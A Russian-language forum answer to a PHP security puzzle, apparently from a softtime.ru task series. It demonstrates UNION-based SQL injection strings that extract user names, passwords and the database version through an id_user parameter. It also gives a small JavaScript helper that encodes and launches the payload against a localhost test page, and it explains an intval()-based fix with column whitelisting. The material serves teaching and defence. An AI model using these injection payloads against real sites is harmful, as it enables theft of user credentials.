| Ответ 004 на задачу N 11.
С условиями задачи можно ознакомится по ссылке.
Инъекции, отвечающей на оба вопроса, достаточно одной. Правда, в зависимости от настроек сервера она может потребоваться такой:
user.php?id_user=0+union+select+id_user,name,pass,version()+as+email,pass+as+url+from+userslist+where+id_user=2
или такой
user.php?id_user=0+union+select+id_user,name,pass,CONVERT(version()+USING+cp1251)+as+email,pass+as+url+from+userslist+where+id_user=2
Первый вариант разворачивается в запрос:
select ..... where 0
union
select id_user,
name,
pass,
version() as email,
pass as url
from userslist
where id_user=2
|
Второй - учитывает возможную работу сервера в unicode - в запрос:
select ..... where 0
union
select id_user,
name,
pass,
CONVERT(version() USING cp1251) as email,
pass as url
from userslist
where id_user=2
В обоих случаях id атакуемого пользователя прописывается в хвосте запроса.
Впрочем, никто не мешает сделать запрос и по другому полю, напр. name.
Защита от SQL-инъекций осуществляется по-разному, в зависимости от типа передаваемого серверу параметра.
Чтобы обеспечить защиту в условиях задачи, нужно строку
$query = "SELECT * FROM userslist ORDER BY name";
|
заменить на
$query = "SELECT name, email, url "
. "FROM userslist WHERE id_user = ". intval($_GET['id_user']);
|
Целочисленное преобразование аргумента скрипта не позволит хвосту инъективной строки пролезть в тело SQL-оператора.
Явное перечисление требуемых полей предотвратит пересылку паролей пользователей между сервером БД и PHP, уменьшит трафик между ними и избавит php от собирания лишних данных в массив.
Хотя в этом примере они и размещены на одной машине, все равно писать select * - дурной тон.
Если параметр является не числом, а текстовой строкой, задача получается куда более интересной и насыщенной. Но так её не ставили, а методика защиты при этом совсем другая, я решил её решением ответ не загромождать.
Если нужно не просто защитить параметр, но и как-то отреагировать зафиксировать на факт попытки инъекции, можно сравнить строку с преобразованным значением:
if(intval($_GET['id_user']) != GET['id_user'])
{
... // запротоколировать параметры
... // обратившегося хоста
... // и собственно строку запроса.
die(...); // и прервать выполнение скрипта
}
|
Для проверки сайта на уязвимость для sql-injection-атак был написан и применен следующий скрипт:
<html><head> <script language=javascript>
function show() {
s = document.forms.f.elements.inj.value;
s = s.replace(/\%/g, '%25'); // replace %'s
s = s.replace(/\&/g, '%26'); // replace &'s
s = s.replace(/\+/g, '%2B'); // replace +'s
s = s.replace(/\ /g, '+'); // replace spaces
document.forms.f.elements.rs.value = s;
}
function crack()
{
open(document.forms.f.elements.url.value
+ document.forms.f.elements.rs.value,
"Testwin");
}
</script>
</head>
<body>
<form name=f >
Injection:<input size=80 name=inj value=
"0 union select id_user,name,pass,pass as url from userslist where id_user=2"
> <input type=button value=Show onclick="show();">
<br>Result:<input size=80 name=rs >
<br>Cracked site url:
<input size=80 name=url value="http://localhost/Test/inject/user.php?id_user=">
<input type=button value=Crack onclick="crack();">
</form></body></html>
|
Trianon
http://www.softtime.ru/info/task.php?id_article=81 | |